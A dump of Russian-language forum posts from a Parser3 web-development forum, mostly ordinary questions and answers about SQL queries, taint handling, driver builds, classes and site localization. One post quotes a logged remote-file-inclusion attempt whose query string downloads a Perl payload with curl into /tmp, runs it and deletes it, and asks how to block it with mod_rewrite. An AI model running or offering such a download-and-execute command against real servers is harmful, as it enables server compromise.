[code] ....../../classes/common/auth/auth.p(952:23): 'now' is 'date', not a method or junction, can not call it [parser.runtime][/code]\
\
Может быть уже кто-то сталкивался?\
Спасибо!"
"49093","1. перечитайте новость от 28 июля 2005\
2. скачайте подправленный класс (исправлен давно), или исправьте его сами."
"49094","существует ссылка ?order=^taint[uri][что-то такое]\
и из mysql where content = '$form:order' это что-то такое извлекается. \
Проблема в том что не извлекается какие-бы варианты и комбинации ^taint ^untaint я не пробовал-бы. Использвал все что нашел в форуме. Если подставляю вместо '$form:order' 'что-то такое', то все прекрасно работает. Может кто-либо зает как решить эту проблему, буду очень благодарен."
"49095","Раньше (до версии 3.2.*), яписал <xsl:output method=\"html\" /> ^res.string[] и этого было достаточно, теперь (3.2.1? про 3.2.0 не уверен) это не работает без ^res.string[ $.method[html] ]. Почему так?\
\
Прим.: res - объект класса xdoc.\
\
Спасибо."
"49096","похоже, что не разобрались в них и \"шаманите\".\
\
перебирать все возможные варианты лично мне лень. \
\
напишите что конктерно вы делаете (при этом желательно напишите что у вас попадает в sql запрос, т.к. вы сами того не заметив в результате шаманства могли добавить где-то по пути дополнительный taint. посмотреть что попадает в запрос элементарно: внесите в него синтаксическую ошибку и посмотрите что показывается при отображении Unhandled Exception)."
"49097","Точнее сама сборка прошла на Ура., без ошибок. Собирал под FreeBSD 5.3-RELEASE. Сам Parser работает, поддержка XML есть как об этом говорит _test.html, но еще он говорит что \
[quot]\
^int:sql{SELECT 2+2}: [color=\"#ff0000\"]Что-то непонятное с SQL. [/color] Возможно не положены куда надо драйвера. \
Сообщение об ошибке: \
\
can't open the module \
$sqldriversdir/libparser3mysql.so \
[/quot]\
\
Хотя все права стоят правильно, и файл на месте лежит о чем сказано выше в файле.\
$sqldriversdir/libparser3mysql.so (32256 байт)\
\
Подробности можно посмотреть тут http://testing.izmuroma.ru/_test.html\
\
P.S. Предыдущие версии Parsera собирал и проблемм небыло, что случилось сейчас понять не могу."
"49098","попробуйте подключить драйвер базы из старого Parser'a который работал. У меня была совсем другая проблема. Загрузил на хостинг Parser3 он работает а библиотека БД-драйверов нет! Вышла новая версия Parser3 и они заработали. Предположительно может быть нет конакта между скриптом и базами... ??? попробуйте"
"49099","Он тоже не работает, мало того Parser падает в CORE.\
Пришлось откатиться до версии 3.1.6 работает нормально."
"49100","Доброе время суток.\
\
Вот столкнулся с такой проблемой, был такой запрос \
[code]\
@load[]\
^MAIN:dbconnect{\
      $messages[^table::sql{select substring_index(date,' ',1) date,lan,sum(input)/1048576 as inp,sum(output)/1048576 as out from traffic where lan = 'ppp0' and date like ('%${date.year}-${date.month}%') group by substring_index(date,' ',1) order by 1 asc}]\
}\
[/code]\
\
Все работало до 01.01.2006 г. после этого страница оказалась пустой.\
\
Потом немного изменил запрос\
[code]\
@load[]\
$mydate[^date::now[]]\
^MAIN:dbconnect{\
      $messages[^table::sql{select substring_index(date,' ',1) date,lan,sum(input)/1048576 as inp,sum(output)/1048576 as out from traffic where lan = 'ppp0' and date like ('%${mydate.year}%') group by substring_index(date,' ',1) order by 1 asc}]\
}\
[/code]\
\
После внесенных изменений стал выдаваться только 2006 год, если меняю mydate на date, то естественно выдаеться все записи с 2005 по 2006 включительно.\
\
Если в запросе указать ('%${mydate.year}-${mydate.month}%') то данных нет, а если ('%2006-01%') то все работает.\
\
Почему не работает ('%${mydate.year}-${mydate.month}%') ?\
И по чему такое странное поведение mydate и date"
"49101","Кодировать удается, раскодировать не получается. Либо неверно либо парсер вешается."
"49102","...надо лишь добавить синтаксическую ошибку, написав например selectXXX вместо select. сделайте это и увидите :)\
\
а вообще ваш запрос очень плохой, т.к. индексы он использовать не будет. делать like по дате ужасно. с датами в where лучше работать указывая диапазоны, например:\
[code]\
where\
	date > '${mydate.year}-01-01 00:00:00'\
	AND date <= '${mydate.year}-12-31 23:59:59'\
[/code]\
\
а еще, к слову, у MySQL есть функции year(), month(), day()..."
"49103","[quote]Если в запросе указать ('%${mydate.year}-${mydate.month}%') то данных нет, а если ('%2006-01%') то все работает.\
\
Почему не работает ('%${mydate.year}-${mydate.month}%') ?\
И по чему такое странное поведение mydate и date[/quote]\
\
Могу предположить что в mydate у вас 2006-1, а в базе 2006-01\
\
Надо так\
[code]	SELECT\
		id,\
		name,\
	FROM\
		news\
	WHERE\
		^MAIN:pSQL.year[dt] = '$year' AND\
		^MAIN:pSQL.month[dt] = '$month'\
[/code]"
"49104","внимательней надо быть\
[quot]\
Почему не работает ('%${mydate.year}-${mydate.month}%') ?\
[/quot]\
потому что в коде написано\
\
[quot]\
('%${date.year}-${date.month}%') \
[/quot]\
\
mydate != date"
"49105","Фичу принудительного отключения определения endless loop.\
Это позволит Parser использовать для написания демонов. Сейчас приходится веб-часть писать на Parser, а различные демоны-коллекторы на Perl."
"49106","это практически не возможно.\
memory:compact[]\
до конца не осовобождает память, поэтому рано или поздно парсер съест всю память"
"49108","Может Вы неправильно поняли, я пробывал оба варианта и в коде тоже писались оба варианта."
"49112","...а теперь опять нет возможности из вордовских документов картинки извлекать:)"
"49113","вот посмотрите там решение. И если Вас не затруднит можете выслать собранный работающий парсер мне на почту..\
Заранее спасибо."
"49114","Интересует официальное добавление в документацию инструкций по сборке парсера как модуля Apache 2.0, а не только 1.3.x"
"49115","В логах обнаружил, что кто-то странно долбится на сайт, подменяя переменные. Пример. Есть страница http://сайт/catalog.php?cat=X, а вместо этого X получаем: catalog.php?cat=http://www.s0l4r1sr0x.com/tool.gif?&cmd=cd%20/tmp/;curl%20-O%20http://www.awcorg.us/images/banners/sess3023_;perl%20sess3023_;rm%20-rf%20sess3023*!!! О как. Пытаюсь сделать mod'ом так, чтобы при таких зюках отображалась главная страница - получилось, но у юзера в адресной строке остается то, что он запросил. Как мне обнулить REQUEST_URI? Вот что у меня в .htaccess:\
RewriteCond %{REQUEST_URI} /catalog.php\
RewriteCond %{QUERY_STRING} cat=http(.*)$\
RewriteRule catalog.php?(.*)$	/index.php	[L]"
"49117","Надо обнулить QUERY_STRING!"
"49118","А можно поконкретнее, я уже с этим R вроде как пробовал, но выдает 404-ю страницу почему-то."
"49119","См. Полезные ссылки."
"49121","Я уже не первый день с этим парюсь и перечитал кучу доков и форумов по этой теме, но не понимаю почему ничего не работает."
"49122","у вас есть страница:\
http://сайт/catalog.php?cat=X\
допустим у вас есть категория когда X = 10, но нет когда X = 100.\
если кто-то написал руками:\
http://сайт/catalog.php?cat=100\
вы же ему покажете 404, ведь так? так почему если он написал\
http://сайт/catalog.php?cat=ZZZ или http://сайт/catalog.php?cat=http://bla-bla вы хотите показывать ему что-то иное?\
\
забейте. главное чтобы по ссылкам, размещенным на вашем сайте все показывалось и чтобы со страницы 404 была ссылка на главную."
"49123","решено использованием дополнительно английских имен"
"49124","Нет проблем.\
под версию 3.1.1 можем сделать\
\
Только, вот Eclipse постоянно меняется\
(что разработанно для 3.0.1 не всегда работает в 3.1.1) представте во сколько может обойтись вам все это.\
\
если кто будет серьезно заинтересован, то сделаем :)\
Опишите функциональность (автозавершалки, рефакторинг и пр ) плагина и во сколько вы это оцениваете.\
\
ответ на имейл"
"49126","нет просто ЧПУ понятнее....\
Задача простая \
<a href=\"/something/orderby/$select.content\" >something</a>\
\
и select from ... where content = $form:order\
\
естественно в бд данные в вин 1251\
пытался преобразовывать и в запросе и в ссылке...\
Спасибо!"
"49127","А вы выведите этот $form:order в браузер. То же самое что было order=^taint[uri][[b]здесь[/b]]?\
\
А потом напишите в SQL-запросе нужное слово явно. Выбирается то что надо?\
\
Если два положительных ответа — должно работать."
"49128","В смысле \"опять нет возможности\"?\
А что, когда-то была? :)\
Просто я не в курсе... а как такое возможно вообще?"
"49129","...а на практике сия функция не работает. Вот и пишу, что мол была."
"49130","Объясняю. Если Вы ознакомились с моим воплем о помощи, то могли обнаружить, что у меня все это там прописано. Но в логах сервера все равно остается именно этот запрос, а мне надо (ну надо!), чтобы опознавалось как index.php, а не эти зюки! ТОчнее даже не в логах ,а просто при разборе QUERY_STRING в PHP."
"49132","кажется самым простым вариантом.\
есть готовые."
"49134","откуда это вы там резко с ПАФом нарисовались в десять вечера такие веселые?"
"49135","Статья \"Принципы и технические методы работы с незапрашиваемой корреспонденцией\" (yandex.mail) натолкнула на идею: а можно-ли добавлять сообщения в форум через антиспам модуль, как А. Лебедев добавляет странички на сайт через \"Типограф\"? Причем желательна реализация на Parser+MySQL. Может у кого есть наработки, идеи?"
"49136","[code]\
# Проверяем, была ли запостена форма, и если была,\
# то передаем в класс antispam поле для проверки\
^if(def $form:do){\
	^if(^antispam:check[$form:body]){\
		^MAIN:pSQL.void{INSERT ...}\
	}\
}\
[/code]\
\
Собственно сам класс [b]antispam.p[/b]:\
\
[code]\
@CLASS\
antispam\
\
@check[body]\
# Прогоняем кучу разных регулярок, выполняем проверку.\
^if(текст чистый){\
	$result(1)\
}{\
	$result(0)\
}\
# end @check[]\
[/code]"
"49137","В итоге пост после метода имеет сумму весов. Ее можно положить в базу вместе с записью и выводить, допустим, в админке с любым весом, а для посетителей — с каким-то максимальным значением. А те посты, которые слишком тяжелые — расстреливать на месте. При повторной попытке — банить.\
\
Но только какие и сколько надо регулярок, чтобы правильно отделить зерна от плевел?! ;-)\
\
UPD. Может быть, Яндекс когда-нибудь и сделает гибрид Яндекс.XML и Спамообороны..."
"49138","Завести акаунт на yandex-е, и все посты прогонять через почту, те, что ушли в спам — умерли, остальные — добавились :)"
"49139","Думаю все знают что это фитча из PHP. А хотелось бы её видеть и в Parser3"
"49140","и не думаю что когда-либо она там появится, т.к.:\
1. в конструкции с elseif может быть произвольное число параметров\
2. в большинстве случаев её можно заменить на конструкцию со switch/case"
"49142","Требуется  программист/верстальщик на парсере на неполный рабочий день (Санк-Петербург).Возможна полностью удаленная работа, но обязательно появление в офисе 1 раз в неделю.\
 \
Обязанности: верстка 1-2 сайта в месяц, доработка существующей cms (parser+MySql)- сюда входит дописка нескольких модулей и общие доработки. \
Знание php и законов кроссброузерной верстки является плюсом.\
Оплата от 250 USD месяц.\
Ваши резюме и портфолио отправляйте на nik@smartlab.spb.ru"
"49143","Очень требуется \"помощь клуба\".\
\
У меня большая проблема - перестал работать вытащенный из \"копилки\" кусок кода для проверки орфографии в тексте. То ли из-за каких-то изменений в настройках безопасности iis, толи ещё из-за чего возникают проблемы с вызовом ispell (для тех, кто не в курсе, это open-source консольная программа для проверки орфографии).\
\
Ispell требует установки Environment variable ISPELL_DICTDIR (и способен искать файлы со словарём только в указанной там папке) и работает только с перенаправлениями ввода-вывода. То есть текст, полученный из формы, приходится сохранять парсером в файл, дальше запускать\
\
[code]ispell.exe -a -B -d russian < файл_с_ошибками.txt > результат_проверки.txt[/code]\
\
Проблема в том, что при запуске вручную результат_проверки.txt наполняется, а при запуске iis'ом через парсер или перл он хоть и создаётся, но всегда пуст...\
\
Если вы владеете С, помогите сделать следующее:\
- ispell.exe должен искать файлы со словарями не там, куда указывает envvar, а в той же папке, откуда его запустили.\
- параметры командной строки \" -a -B -d russian \" должны быть зашиты в исходник\
- ispell.exe должен понимать *единственный* параметр командной строки - имя файла, который нужно проверить (а не получать этот текст со stdin). \
- Результат проверки должен валиться не в stdout, а в файл, указанный при запуске, с добавлением \".out\". То есть запускаем ispell.exe Евгений_Онегин.txt  и получаем через N секунд в той же папке Евгений_Онегин.txt.out\
\
Официальный сайт ispell: http://fmg-www.cs.ucla.edu/fmg-members/geoff/ispell.html\
\
Исходники, портированные на Windows я нашёл [url=\"http://ftp.gnu.org/old-gnu/emacs/windows/contrib/ispell-src.zip\"]на Gnu.org[/url]. Я их открыл в Visual Studio 6, создал dsp и dsw файлы, удостоверился, что бинарники собираются (это единственное, что я умею в MSVC). Дополненные этими файлами исходники - тут:\
http://bougakov.com/misc/parser/sanja_ispell.zip (261Kb)\
\
Поможете?"
"49144","так как любой антиспам грешен на удаление нужных сообщений."
"49145","не любой... есть gmail, да и яндекс неплох ;)\
А вообще отобранные по регулярным выражениям объекты надо помещатьпомеать как спам а не удалять, и проверять администратором..."
"49146","auto.p - по умолчанию там стоит:\
$result(^env:REMOTE_ADDR.match[^^127\\.0\\.0\\.1$])\
\
ничего не меняя, выдатся ошибка:\
/_test.html: ./auto.p(113:46): syntax error, unexpected EON [parser.compile]\
\
допустим, я изменил на свой \"ip\" (хотя он каждый раз разный):\
#change mask to your ip address\
$result(^env:REMOTE_ADDR.match[82.148.12.34])\
\
тогда ошибка уходит ниже:\
Unhandled exception in /_test.html: ./auto.p(117:2): 'if' native method of MAIN (MAIN) accepts minimum 2 parameter(s) (1 present) [parser.runtime]\
\
жалуясь на строчку:\
^if(^is_developer[])\
\
--\
Parser/3.2.1 (compiled on i686-pc-linux-gnu)"
"49147","Поставил в xsl entity на отлов &deg; (символа градуса).\
Градус заменяется на °, но при выводе в koi8 отображается как элемент псевдографики. Как его вывести по человечески?"
"49148","[code]\
$result(^env:REMOTE_ADDR.match[^^127\\.0\\.0\\.1[b]^$[/b]])\
# Доллар в регулярном выражении нужно экранировать,\
# равно как и птичку в начале вы заэкранировали\
\
^if(^is_developer[])[b]{...}[/b]\
# Если условие выполнилось - что происходит?..\
[/code]"
"49151","Пробую настроить Eclipse для комфортной работы над парсерными проектами.  \
\
За два дня удалось разобраться:\
\
1. с работой с CVS (на мой вкус тут это гораздо удобнее, чем WinVCS)\
2. подключить Colorer для раскраски парсерных скриптов (оказывается этот plugin не только для Far существует)\
3. подключить html и css редакторы\
\
Впечатления - Eclipse очень удобная штука.\
\
Кстати, существует phpEclipse расширение, как следует из названия - для нормальной работы с php. Неплохо бы и для парсера аналог найти.\
\
Коллегия, если кто-то из Вас занимался/занимается адаптацией Eclipse для \"парсерных\" проектов - предлагаю делиться опытом."
"49152","я пробовал экранировать. помогает. только мне не понятно, почему разработчики включили такую строку в *пример* конфигурационного файла. пример же должен работать? так же мне не очень понятно что возвращает это выражение ^^127\\.0\\.0\\.1^$, и зачем стоя обратные слэши...?\
\
и тем не менее, там написано \"change\". либо я делаю, как Вы сказали, либо меняю на мой ip, как я писал в первом посте, я вижу одну и ту же ошибку:\
Unhandled exception in /_test.html: ./auto.p(117:2): 'if' native method of MAIN (MAIN) accepts minimum 2 parameter(s) (1 present) [parser.runtime]\
\
Поэтому я не могу ответить на последний вопрос, т.к. происходит только это сообщение. ;-) природа которого мне тоже не очень ясна.\
\
никаких других изменений в конфигурационном файле (скачанном с посл. релиза и собранном из исход. кодов) я не делал (пока). Только путь прописал и переимениновал в auto.p из auto.p.dist"
"49153","Точки тоже нужно экранировать, потому что в регулярном выражении точка — символьный класс, содержащий все символы.\
\
http://www.parser.ru/docs/lang/app4.htm\
\
По поводу ^if(...){...} — тоже спасет документация: http://www.parser.ru/docs/lang/opif.htm"
"49154","Вам уже ответили\
http://www.parser.ru/forum/?id=49124"
"49155","Если ты конечно не нашел ещё решения. Как раз сейчас тема C актуальна для меня :)"
"49157","никак в голове не сложу что куда к чем относится и как получить есть право или нет...\
итак, есть объект с id 77777517\
этот id я передаю методу, который должен проверять наличие права WRITE, таким образом:\
[code]\
	^if(^atm.has_right[$atm_list;WRITE]){\
		права достаточны...<br />\
		тут должен быть вызов метода записи...\
	}{\
		<font color=\"red\">Запись не произведена! недостаточно прав!</font> <br />\
	}\
[/code]\
Пользователь авторизован Мишиным классом, данные в объекте $auth\
\
Хочется сделать наподобие http://www.parser.ru/forum/?id=47126 красиво\
\
права пока прописал вручную в базу так:\
[code]\
-- \
-- Дамп данных таблицы `acl`\
-- \
\
INSERT INTO `acl` VALUES (77777518, 3, 1);\
[/code]\
\
мой auser_id в таблице auser равен 3\
я залогинен.\
вопрос - как вообще правильно/красиво/в_духе_Парсера получить ДА|НЕТ на выходе метода?\
\
надо где-то описать конструкцию типа - где лучше?\
[code]\
$RIGHTS[\
   $.READ(1<<0)\
   $.WRITE(1<<1)\
   $.DELETE(1<<2)\
]\
[/code]\
надо как-то вызывать Мишины методы посчитать права.\
\
как это делается? может, есть где посмотреть примеры использования, красивые исходники чьи-нибудь?\
\
пока что весь метод класса содержит всего лишь такое:\
[code]\
@has_right[atm_list;right_name]\
	^if(!$atm_list is hash){\
		^throw[call.error;atm: has_right;atm_list must be hash]\
	}\
[/code]"
"49158","сейчас качаю исходники Semagic, клиента для ЖЖ - думаю выломать оттуда модуль проверки орфографии MySpell (он используется также в Open Office). Надежда слабая, но вдруг..\
\
Заодно на выходных извлеку учебники по С++"
"49159","Из Вашего прошлого ответа у меня сложилось впечатление, что Вы заинтересованы в разработке plugin-ов для Eclipse за деньги.\
\
Если Вы готовы БЕСПЛАТНО поделиться опытом адаптации Eclipse для \"парсерных\" проектов, с удовольствием с Вами пообщаюсь ;)"
"49160","http://www.eclipse.org - сайт проекта"
"49161","Добрый день!\
\
Возникла проблема при работе parser'а с mysql. Регулярно число заблокированных процессов в системе становится больше 15, хотя при этом процессор свободен. Parser'ы начинают \"плодится\" и вешают окончательно систему. На сколько я понимаю проблема в mysql.\
\
Если выполнять:\
show process;\
То о блокировках выдается такой результат:\
-------------------------------------------------\
| Table_locks_immediate             | 9008      |\
| Table_locks_waited                | 0         |\
-------------------------------------------------\
\
Из-за чего могут быть заблокированны parser'ы?\
Заранее благодарен.\
--\
С уважением,\
Андрей"
"49162","очевидно что парсеры заблокированы по той причине, что ждут пока mysql выполнит свою работу и вернет им результат.\
\
почему возникли блокировки у mysql? думаю никто вам не подскажет, т.к. надо смотреть ваши запосы.\
\
странно, но мой mysql 4 не знает комманды show process зато знает show processlist. a информацию подобно приводимой вами выдает show status...\
\
про блокировки можно почитать тут: http://dev.mysql.com/doc/refman/4.0/ru/locking-methods.html"
"49163","Уважаемые коллеги, информация по настройке Eclipse для работы с парсером набирается, если желающих узнать подробности настройки много - могу разместить. \
\
Только отпишитесь в этой теме - не хочется тратить время, если эта информация никому не нужна"
"49164","Да, действительно show processlist, ошибся.\
mysql 5.0\
\
Такое ощущение, что parser'ы ждут не того, что им отдаст mysql, а друг друга. Такого не может быть?"
"49165","ну... сделать так чтобы два парсера могли создать deadlock в принципе можно и без sql. пару ^file::lock[] например. сами они блокироваться не должны.\
\
краткое резюме: сказать что именно у вас не зная ничего - невозможно.\
\
один из вариантов сделать так чтобы deadlock-и происходили как можно реже - сделать процесс генерации страниц более быстрым: пооптимизировать sql запросы, кешировать страницы, изменить алгоритмы (для первого можно воспользоваться механизмами класса sql.p, для второго - cachepage.p)\
\
но избавиться от них можно только проанализировав ситуацию, выяснив причину и устранив её."
"49166","спасибо."
"49167","Ну вот я как всегда наталкиваюсь на прошедшие грабли.\
Я так понимаю решили как-нить через переименовании функций?"
"49168","А как быть в этой ситуации с FreeBSD?\
\
Там такие же проблемы с ощибкой Client does not support authentication protocol requested by server; consider upgrading MySQL client.\
\
MySQL 4.1"
"49169","требуется собрать парсер с драйвером mysql. без него уже получилось.\
как я понял, теперь надо опять все делать заново. я иду на cvs:\
\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get -r release_3_2_1 (parser3) sql/mysql\
\
в скобках - т.е. я и указывал его, и не указывал, т.к. его уже ранее скачал. мне пишется update sql/mysql и его каталоги, но, первое сомнение, что ФАЙЛОВ НИКАКИХ НОВЫХ НЕ ПОЯВЛЯЕТСЯ. И каталога mysql нет. я смотрел с parser3/src/sql, но там что-то не то.\
\
как проверить, все ли правильно закачалось?\
\
далее, я набирал:\
./buildall-without-xml --with-mysql-client\
1. непонимая, можно ли этому инсталлеру давать такой параметр?\
2. что такое =mysqlclientlib?params я так же не понял, я пропустил.\
\
как проверить, собрался ли клиент или нет?\
\
что потом, мне вообще смутно представялется, т.к. дока на sql не скачалась, и как конфигурировать auto.p непонятно... с файликами lib яснее было.\
\
и что-то новый парсер 3.2.1 занимает 9МБ и тормозит (раньше было 3.1.1 и летало). однако, это может и не парсер, а хостинг, который я сменил, но обычные страницы нормально открываются."
"49170","Как сделать двухязыковую версию сайта с корректной локализацией - как у Лебедева на сайтах студии"
"49171","Щас Вас отправят искать по форуму, как у Лебедева, не знаю, насколько там все корректно, но я делал примерно так (элементарно, но простому):\
\
auto.p\
$language[^if(in \"/en/\"){en}{ru}]\
\
*.html\
^if($language eq \"ru\"){\
русский текст\
}\
{\
английский текст\
}\
\
.htaccess\
RewriteEngine on\
RewriteBase /\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteRule ^en/(.*)$ /$1"
"49172","Здравствуйте!\
Раньше всегда использовал классы для разделения пространств имен.\
Решил попробовать написать настоящий класс на Parser3. Ради тренировки сделал примитивный класс для генерации <select>\
Класс\
[code]\
\
@CLASS\
select\
\
@create[param]\
$array[$param.array]\
$name[$param.name]\
$key[$param.key]\
$value[$param.value]\
\
@write[]\
<select name=\"$name\">\
^array.menu{\
<option value=\"${array.$value}\">${array.$key}</option>\
}\
</select>\
[/code]\
\
Вызов:\
[code]\
$array[^table::sql{SELECT id, rus, eng FROM options WHERE class='1'}]\
$param[\
	$.array[$array]\
	$.name[name]\
	$.key[rus]\
	$.value[id]\
]\
\
$obj[^select::create[$param]]\
^obj.write[]\
[/code]\
\
Метод выведет несколько <option> с параметрами из бд.\
\
Вопрос такой:\
когда я пытался сделать, на ум сразу пришел такой вариант:\
[code]\
@create[param]\
$select:array[$param.array]\
$select:name[$param.name]\
$select:key[$param.key]\
$select:value[$param.value]\
[/code]\
\
Т.е. $select:array - по-идеи глобальная переменная для класса.\
\
Вопрос такой:\
1. В первом варианте мы задаем глобальные переменные для всего класса?\
2. Если в @write[] добавить $var[abc] эта переменная будет видна только в методе write?"
"49173","[quote]1. В первом варианте мы задаем глобальные переменные для всего класса?[/quote]\
\
нет, это переменные объекта, т.к. они инициируются в конструкторе.\
если бы вы добавили метод @auto[] и в нем просто проинициировали-бы$var[], то когда в конструкторе вы присвоили-бы $var[test] то значение записалось-бы в переменную класса (одинаковое значение для всех объектов == экземпляров класса)\
\
[quote]2. Если в @write[] добавить $var[abc] эта переменная будет видна только в методе write?[/quote]\
\
нет. она будет видна в любом методе этого объекта. но если вы объявите её локальной в методе write, то тогда она будет видна только в нем."
"49174","Уважаемые администраторы сайта! Я конечно понимаю, что у вас голова занята совсем другим, но в этом разделе находятся сайты, так сказать не относящихся к Parser'у. Многие уже закрыли свои сайты, а кто-то на долгой реконструкции, кто-то поставил форум на пхпББ, кто то во все перешел на PHP... \
\
Я к чему это говорю, нужно отчистить список от недобросовестных владельцев сайтов."
"49176","Вот в чем собственно вопрос.\
Есть файл rtf с обьектом Microsoft Equation (по простому формулой). надо как то вытянуть одтуда дынные и создать картинку.\
Вот как это сохраняет мс ворд \
\
{\\object\\objemb\\objw2100\\objh400{\\*\\objclass Equation.3}{\\*\\objdata 01050000020......\
}{\\result {\\dn12\\insrsid16216064\\charrsid12978148 \
{\\pict...{\\*\\blipuid 51b2b17c4b4f4c1d5e65893f7fb2a3bf}\
0100090...\
\
я так понимаю для меня из етого интнресно все что после \\pict......{\\*\\blipuid 51b2b17c4b4f4c1d5e65893f7fb2a3bf}\
Но когда я переписиваю, те данные в файл и обзываю его или jpg или png то некоторие программы просматривают те файлы но искажають парамерт \"point per inch\", тоесть символы налазят друг на друга.\
на microsoft.com не нашол спецификации на Ms equation. \
Може кто что посоветует....."
"49177","Тогда Студия сможет нанять сотрудника специально для контроля этого раздела :-D"
"49179","т.к. у koi нет такого символа, а вставлять через левое крыльцо в постпроцессе, не имеет смысла.\
\
Лучше подумаю о смене кодировки сайта."
"49180","вас, Пётр, угнетает что вашу домашнюю страничку не хотят размещать в этом списке. И что в этом плохого?\
\
Моей домашней там тоже нет, хотя она тоже сделана на Parser, и что с того? Это же не повод для безоговорочного размещения.\
\
На месте админстраторов я бы произвёл ревизию и оставил бы только самые яркие работы. Весь хлам в топку.\
\
PS. Свои сайты тоже не жалею, ножом по ним, только Типограф и Тюмень.Ру можно оставить."
"49181","http://www.artlebedev.ru/tools/technogrette/xslt/localizing/ как раз для Вас!"
"49182","Спасибо. Еще проичтал в документации как задавать локальные переменные, понял.\
\
Есть еще два вопроса.\
\
[b]Системная переменная: self[/b]\
Это иденификатор класса? Т.е. в дргуих языках это\
$this?\
\
Если так, то я могу написать следующе: (?)\
[code]\
@create[param]\
$self.array[$param.array]\
$self.name[$param.name]\
$self.key[$param.key]\
$self.value[$param.value]\
\
\
@write[]\
<select name=\"$name\">\
^self.array.menu{\
<option value=\"${self.array.$value}\">${self.array.$key}</option>\
}\
</select>\
[/code]\
\
Так более привычно по-моему. Нет здесь ошибки?\
\
[b]Системная переменная: result[/b]\
Это аналог return в функциях? Если включить данную переменную в метод, то она перекрывает весь остальной вывод? Т.е.\
[code]\
@method[]\
$a[abc]\
$a\
$result[123]\
$result\
[/code]\
\
Выведет 123? Правильно?\
\
А такая конструкция работает (?):\
auto.p\
\
#создали объект\
\
#вызываем метод объекта\
$var[^obj.method[]]\
\
Мы в $var 123 получим?"
"49183","Петр, не надо обижаться! Ну не разместили твой сайт в разделе \"В действии\", ну и что? вот тоже трагедию нашел ;-). Вместо того чтобы обижаться, сделал бы лучше нормальный сайт на парсере..."
"49184","Есть два запроса:\
\
http://in-vita.com/@/local/images/emp/4.common.jpg\
http://in-vita.com//@/local/images/emp/4.common.jpg\
\
По первому файл не виден, по второму - нет.\
\
Файл естественно лежит в каталоге /@/local/images/emp/4.common.jpg\
\
Там есть файл с номером 2. Он виден по обоим запросам.\
\
Кто знает что за хрень такая?"
"49185","Используем стандартные средства Парсера.\
Создаем метод типа:\
[code]@getLNG[]\
^if(def $form:lng && ^form:lng.lower[] eq en){$LNG[EN]}{$LNG[RU]}\
[/code]\
В коротом записываем значение переменной LNG. Если языков много, используем case.\
Далее с этой переменной делаем что угодно:\
- добавляем в качестве дополнительной части имени других переменных ($переменная$LNG, тогда получится $переменнаяRU или $переменнаяEN)\
- или других методов [code]@методRU (вызов ^метод$LNG)[/code]\
- ну и т.п.\
То же касается и таблиц/полей в БД. Например, таблица articles_RU запишется как articles_$LNG. Или в общей таблице articles будет два варианта текста в полях chapter$LNG (актуально, когда полностью синхронные языковые версии).\
В образуемых методах и переменных описываете, применяете или выводите все, что относится к этой языковой версии сайта.\
Остается лишь в уголочке страницы повесить что-то типа\
[code]\
^if($LNG eq RU){русский | <A href=\"путь_до_этой_страницы?lng=en$доп_параметры\">english</A>}{<A href=\"путь_до_этой_страницы?lng=ru$доп_параметры\">русский</A> | english}\
[/code]\
$доп_параметры - вычисляются отдельно и приписываются после языкового параметра.\
В нужных местах по сайту для проверок текущего положения используется и form:lng.\
\
Вообще, таким образом можно разграничить вообще всё, в том числе и элементы дизайна, плашки, иконки, картинки и т.п.\
Если захочется, то конструкцию [code]?lng=[/code] можно и Rewrite  оформить для красоты (/ru/ или /en/).\
Описано в общих чертах по мотивам работы Сергея Приходько (ака sergei), спасибо ему."
"49186","Все правильно, только с $result не нужно выводить его:\
\
[code]\
@method[]\
$a[abc]\
$a\
$result(123)\
[/code]"
"49187","У меня все открылось."
"49189","если сделали раздел, надо за ним следить, однако времени на это не хватает, поэтому просматриваем повторно достаточно редко.\
\
конструктивная критика вида: \"сайт XYZ из раздела 'в действии' надо удалить потому-то и потому-то...\" всегда приветствуется.\
\
тем не менее спасибо за напоминание, попробую просмотреть.\
\
UPDATED: просмотрел, повыкидывал неактуальные."
"49190","А как тогда быть, если мне нужно только, чтобы метод вернул какое-то значение, но ничего не выводил?"
"49191","А что, уже стало видно??? Я по-прежнему не вижу картинки.\
\
Вот страница:\
http://in-vita.com/clinic/emp/\
\
На ней я фотографию Руденко не вижу. А у вас что, получается видно??? "
"49192","[quote]чтобы метод вернул какое-то значение, но ничего не выводил[/quote]\
\
как это?\
\
про self:\
я его использую в следующих случаях:\
1.\
[code]\
@CLASS\
test\
\
@init[]\
$name[...]\
\
\
@method[name]\
$self.name[$name]\
[/code]\
\
как видим есть переменная объекта с именем name и локальная переменная метода @method с имемен name. self используется для того чтобы достучаться до переменной объекта.\
\
2.\
[code]\
@CLASS\
test\
\
@method1[]\
blah-blah-blah\
\
@method2[]\
^self.method1[]\
[/code]\
\
тут я пишу self при вызове метода класса для того, чтобы если кто-нибудь когда нибудь создаст оператор с именем method1 это не поломало-бы мой класс. дело в том что операторы (это есть методы класса MAIN) имеют приоритет перед методами класса. такие дела."
"49193","Но у меня фотография Руденко видна. И с самого начала была видна по ссылке которую Вы давали (с слешами)"
"49194","[code]\
$result[результат]\
[/code]\
\
Вот и все :)\
\
По-умолчанию возвращается результат работы всего метода, т.е. тело метода считается «завернутым» в result."
"49195","[quote]как это?[/quote]\
Например:\
[code]\
@valid[][name]\
$name[$self.name]\
^if(${form:$name} == $self.error_value){\
	$result(0)\
}{\
	$result(1)\
}\
\
@error_m[][error]\
$error[$self.error]\
$result[$error]\
[/code]\
\
А вызываем так:\
[code]\
^if([b]^obj.valid[] == 0[/b]){\
$error[^obj.error_m[]]\
}\
[/code]\
\
Небольшой вопрос:\
Как записать $form:$self.name ?\
${form:$self.name} - вызывает ошибку\
${form:${self.name}} - скобку выдает\
\
Приходится сохранять $self.name в промежуточную переменную."
"49196","Вот что получилось в итоге.\
[code]\
@CLASS\
select\
\
@create[param]\
$self.array[$param.array]\
$self.name[$param.name]\
$self.key[$param.key]\
$self.value[$param.value]\
$self.first_key[$param.first_key]\
$self.first_value[$param.first_value]\
$self.error_value[$param.error_value]\
$self.error[$param.error]\
$self.selected[$param.selected]\
\
\
@write[]\
<select name=\"$self.name\">\
<option value=\"$self.first_value\">$self.first_key</option>\
^self.array.menu{\
	^if(${self.array.$value} eq '${form:$name}'){\
		$select[selected]\
	}{\
		$select[]\
	}\
	\
	<option $select value=\"${self.array.$value}\">${self.array.$key}</option>\
}\
\
</select>\
${form:${self.name}}\
\
\
@valid[][name;error]\
